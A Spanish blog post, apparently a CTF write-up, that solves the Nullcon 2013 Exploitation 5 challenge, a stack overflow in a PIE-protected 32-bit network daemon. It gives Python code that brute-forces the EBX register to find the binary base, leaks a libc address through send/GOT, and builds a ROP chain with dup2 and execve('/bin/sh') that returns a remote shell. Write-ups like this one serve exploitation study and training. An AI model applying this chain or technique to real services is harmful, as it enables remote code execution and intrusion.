miércoles, 10 de abril de 2013

Nullcon 2013 "Battle Underground" CTF - Exploitation 5

Tras resolver el nivel 4 de Exploitation propuesto en el Nullcon 2013 Battle Underground CTF, aún me quedaba pendiente el último nivel (Exploitation Question 5), que no pude resolver durante el CTF por falta de conocimiento y documentación sobre el tema.

Después me pase un tiempo buscando y probando cosas, pero al final lo deje como imposible. Hasta que hace ya unos días, me enteré (vía Twitter) que Eloi Sanfelix, de int3pids, había publicado una entrada sobre cómo resolver el nivel 4 de la VM Fusion de Exploit-Exercises. Tras echarlo un ojo pude ver que su entorno de explotación se parecía bastante al mío (ASLR/NX/PIE), así que me puse a estudiar su caso. Al rato me di cuenta de que la técnica que había usado para evadir PIC/PIE la podía aplicar de la misma forma, pudiendo hacer luego una explotación mucho más sencilla con ROP.

Así que bueno, como ha sido una gran experiencia para mi lograr resolver esta prueba (aunque haya sido fuera de tiempo), en esta entrada trataré de explicar cómo resolverla. Pero no antes de dar a las gracias al crack de Eloi, que si no llega a ser por él, jamás la hubiese resuelto ;-D.

Figura 1. Descripción de la prueba.

Al igual que la prueba anterior, consiste en explotar un daemon que corre en el puerto 6666 del host nullcon-e3.no-ip.org con el fin de obtener la key que da por solucionado el nivel. Para poder llevar a cabo la explotación, se nos proporciona el binario del daemon en cuestión.

Descarga: Exploitation 5
MD5: 02c029857ac8049f829a0f29c6d9df5b

Identificación del binario

$ file server5
server5: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, BuildID[sha1]=584bb50ebb2e97e8ebb0fbaf03b69f86b11a8966, not stripped

Se trata de un objeto compartido en formato ELF para Linux, arquitectura i386, utiliza enlace dinámico y no se encuentra stripped, por lo que los símbolos que genera el compilador no han sido eliminados.

Protecciones

$ /tools/exploiting/checksec.sh --file server5
RELRO           STACK CANARY      NX            PIE                     FILE
Partial RELRO   No canary found   NX enabled    PIE enabled             server5

Aquí es donde nos encontramos el mayor de los problemas; el binario está compilado con PIC/PIE (Position-independent executables). Esto quiere decir que puede ser localizado en cualquier lugar de la memoria, y aun así ser ejecutado correctamente sin modificarse, independientemente de su dirección absoluta. De esta forma, y con el apoyo de ASLR, sus direcciones varían en cada ejecución, haciendo que sea más difícil la explotación con ROP.

Por lo tanto, las protecciones a evadir en esta explotación son: ASLR, NX y PIE.

Vulnerabilidad

//----- (00000AFE) --------------------------------------------------------
signed int __cdecl main()
{
[...]
      len = recv(socket_fd, &user, 0x270Fu, 0);
      if ( (signed int)len <= 0 )
      {
        perror("recv error:");
        exit(1);
      }
      printf("received %d bytes", len);
      *((_BYTE *)&user + len) = 0;
      check_user(&user, len);
[...]
}

int __cdecl check_user(const void *user, size_t len)
{
  int buff; // [sp+1Ch] [bp-1Ch]@1

  memset(&buff, 0, 0x14u);
  memcpy(&buff, user, len);
  return 0;
}

size_t __cdecl check_password(const char *passwd)
{
  return strlen(a1);
}

La vulnerabilidad se ve rápidamente tras un pequeño análisis. Cuando el programa solicita el login al cliente, recibe hasta un máximo de 0x270F bytes. Luego, cuando el login es recibido, se lo pasa a la función check_user(), la cual copia su contenido en otro buffer local sin comprobar su tamaño, dando lugar a un stack-based overflow.

$ nc 127.0.0.1 6666
Welcome to International Banking System Inc
Enter login: danigargu
Password: 12345

$ nc 127.0.0.1 6666
Welcome to International Banking System Inc
Enter login: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
$

Si verificamos con GDB cuándo se sobreescribe la dirección de retorno, vemos que lo hace a partir del offset 32 de la cadena enviada. Luego, si echamos un ojo a los registros, podemos ver que además de EBP y EIP, EBX también es alterado.

(gdb) i r ebx ebp eip
ebx            0x41386141 1094213953
ebp            0x62413961 0x62413961
eip            0x31624130 0x3162413

¿Por qué EBX?

Esto se debe a que los epílogos de función en los binarios compilados con PIE añaden un "pop ebx". De esta manera almacenan en el registro EBX la dirección de carga del binario más un desplazamiento, usándolo luego para el tema del código independiente de la posición.

    10ab: 5b                    pop    ebx
    10ac: 89 ec                 mov    esp,ebp
    10ae: 5d                    pop    ebp
    10af: c3                    ret   

¿Para qué nos puede servir la dirección de EBX?

Como mantiene la dirección de carga más un desplazamiento, si obtenemos esta dirección de alguna forma y la restamos el desplazamiento calculado, obtendremos la dirección de carga del binario de forma dinámica, pudiendo hacer luego llamadas a donde queramos.

Breakpoint 1, 0xf77fca7b in check_user ()
(gdb) i r ebx
ebx            0xf7772ff4 -143183884

(gdb) info proc stat
...
Start of text: 0xf7770000

(gdb) p /x $ebx-0xf7770000
$1 = 0x2ff4

(gdb) p /x $ebx-0x2ff4
$2 = 0xf7770000         ---> Comienzo sección .text

Por desgracia, al realizar la explotación pisamos esta dirección, así que tenemos que encontrar alguna forma de obtenerla. Como sabemos que comienza a sobrescribirse en el offset 24 (32 - 4*2), podemos lanzar algunas pruebas.

$ perl -e 'print "A" x 24 . "B"' | nc 127.0.0.1 6666
Welcome to International Banking System Inc
Enter login: 
$

$ perl -e 'print "A" x 24 . "\xf4"' | nc 127.0.0.1 6666
Welcome to International Banking System Inc
Enter login: Password:
$

$ perl -e 'print "A" x 24 . "\xf4\x2f"' | nc 127.0.0.1 6666
Welcome to International Banking System Inc
Enter login: Password: 
$

Si sobrescribimos la dirección con los bytes correctos, se nos solicita el password, en cambio, si lo hacemos con los incorrectos, solo se nos solicita el login. En base a esto podemos obtener el valor de EBX byte a byte usando fuerza bruta, aprovechando para ello parte del código de Eloi.

def find_ebx():
 ebx = ""
 s = get_connection(host, port)
 base_resp = send_user(s, "xXx")  # Response: 'Password: '
 print "[*] Base response: " + repr(base_resp)
 s.close()

 while len(ebx)<4:
  for i in xrange(0,256):

   # skip 0xac --> BAD BYTE!!
   if i == 172:
    continue

   try:
    s = get_connection(host, port)
    resp = send_user(s, padding + ebx + chr(i))
    s.close()

    if resp == base_resp:
     ebx = ebx + chr(i)
     print "[*] EBX value is 0x%s" % ebx[::-1].encode("hex")
     break
   except socket.error:
    #print "socket error"
    pass
  if i==255:
   print "[*] Could not discover ebx value. Exploit failed."
   sys.exit(-1)
 return ebx

Teniendo el valor de EBX, solo tenemos que restarle 0x2ff4 para calcular la base del binario.

ebx = find_ebx()
base = u(ebx)[0] - 0x2ff4

Con esto podemos comenzar a construir el payload ROP, pero como el binario no dispone de muchos gadgets, lo haremos directamente desde la libc.

Como necesitamos obtener la dirección base de la libc para el payload ROP, aprovechamos la entrada send de la PLT para enviarnos por el socket la dirección de la función almacenada en la primera entrada de la GOT (sigemptyset).

send_plt = p(base + 0x8c4)  # send PLT entry
got_base = p(base + 0x3000) # GOT start

# get address of sigemptyset from the libc
send = send_plt   # send()
send += "AAAA"    # RET
send += p(4)      # int sockfd
send += got_base  # const void *buf
send += p(4)      # size_t len
send += p(0)      # int flags

s = get_connection(host, port)
resp = send_user(s, padding + ebx + "AAAA" + send)
s.close()

Una vez recibida la dirección, la restamos el offset que ocupa en la libc, obteniendo así su dirección base.

$ objdump -T /lib/i386-linux-gnu/i686/cmov/libc.so.6 | egrep 'sigemptyset'
0002b390 g    DF .text 0000004c  GLIBC_2.0   sigemptyset
libc = u(resp[:4])[0] - 0x2b390

Teniendo esto, ya podemos generar un payload ROP execve("/bin/sh") con ROPGadget:

$ ROPgadget /lib/i386-linux-gnu/i686/cmov/libc.so.6

Después de hacer unos pequeños cambios, el payload queda así:

# Generated by ROPgadget 4.0
# execve("/bin//sh", ["/bin/sh", NULL], [NULL])

rop += p(libc + 0x00001a9e) # pop %edx ; ret
rop += p(libc + 0x0015f9a0) # @ .data
rop += p(libc + 0x00020aec) # pop %eax ; ret
rop += "/bin" # /bin
rop += p(libc + 0x00091e8e) # mov %eax,(%edx) ; pop %ebp ; ret
rop += "AAAA" # padding
rop += p(libc + 0x00001a9e) # pop %edx ; ret
rop += p(libc + 0x0015f9a4) # @ .data + 4
rop += p(libc + 0x00020aec) # pop %eax ; ret
rop += "/shA" # /shA
rop += p(libc + 0x00091e8e) # mov %eax,(%edx) ; pop %ebp ; ret
rop += "AAAA" # padding
rop += p(libc + 0x00001a9e) # pop %edx ; ret
rop += p(libc + 0x0015f9a7) # @ .data + 7
rop += p(libc + 0x0003c98e) # xor %eax,%eax ; ret
rop += p(libc + 0x00091e8e) # mov %eax,(%edx) ; pop %ebp ; ret
rop += "AAAA" # padding
rop += p(libc + 0x00078af4) # pop %ebx ; ret
rop += p(libc + 0x0015f9a0) # @ .data
rop += p(libc + 0x000e2c01) # pop %edx ; pop %ecx ; pop %ebx ; ret
rop += "AAAA" # padding
rop += p(libc + 0x0015f9a7) # @ .data + 7
rop += p(libc + 0x0015f9a0) # @ .data     ---> wrong padding!!
rop += p(libc + 0x00001a9e) # pop %edx ; ret
rop += p(libc + 0x0015f9a7) # @ .data + 7

# small change
rop += p(libc + 0x00020aec) # pop eax ; ret
rop += p(0xb)               # execve syscall
rop += p(libc + 0x0002a9d5) # int $0x80

Hay que tener en cuenta que para poder interactuar con la shell abierta, necesitamos hacer antes un duplicado del descriptor del socket del cliente (4) a los tres descriptores estándar (0-STDIN, 1-STDOUT, 2-STDERR). Para ello, aprovechamos que tenemos la dirección base de la libc para hacer un ret2libc con dup2.

# dup2(4,0)
rop = p(libc + 0x000c6c90)  # dup2
rop += p(libc + 0x0002c0f5) # pop esi ; pop edi ; ret --> clean args
rop += p(4)                 # int oldfd
rop += p(0)                 # int newfd
 
# dup2(4,1)
rop += p(libc + 0x000c6c90) # dup2
rop += p(libc + 0x0002c0f5) # pop esi ; pop edi ; ret --> clean args
rop += p(4)                 # int oldfd
rop += p(1)                 # int newfd
 
# dup2(4,2)
rop += p(libc + 0x000c6c90) # dup2
rop += p(libc + 0x0002c0f5) # pop esi ; pop edi ; ret --> clean args
rop += p(4)                 # int oldfd
rop += p(2)                 # int newfd

Teniendo la bomba armada, la lanzamos:

$ python exploit_nullcon2013_exploitation_5.py 
[*] Base response: 'Password: '
[*] EBX value is 0xf4
[*] EBX value is 0x8ff4
[*] EBX value is 0x7c8ff4
[*] EBX value is 0xf77c8ff4
[*] Binary base: 0xf77c6000
[*] PLT entry for 'send' @ 0xf77c68c4
[*] GOT start @ 0xf77c9000
[*] Discovered libc base: 0xf7621000
[*] Launching ROP exploit
[+] SUCESS! We have a shell

$ whoami
dani
$ 
Figura 2. Ejecución del exploit.

¡FUNCIONA! Tenemos una shell ;-D

Descargar exploit

Posiblemente este exploit no hubiese funcionado en la máquina real de la prueba debido al uso de una libc diferente a la nuestra, aunque seguramente la podríamos haber obtenido al explotar el nivel anterior. De todas formas, la idea queda bastante clara.

Y esto ha sido todo. Un saludo!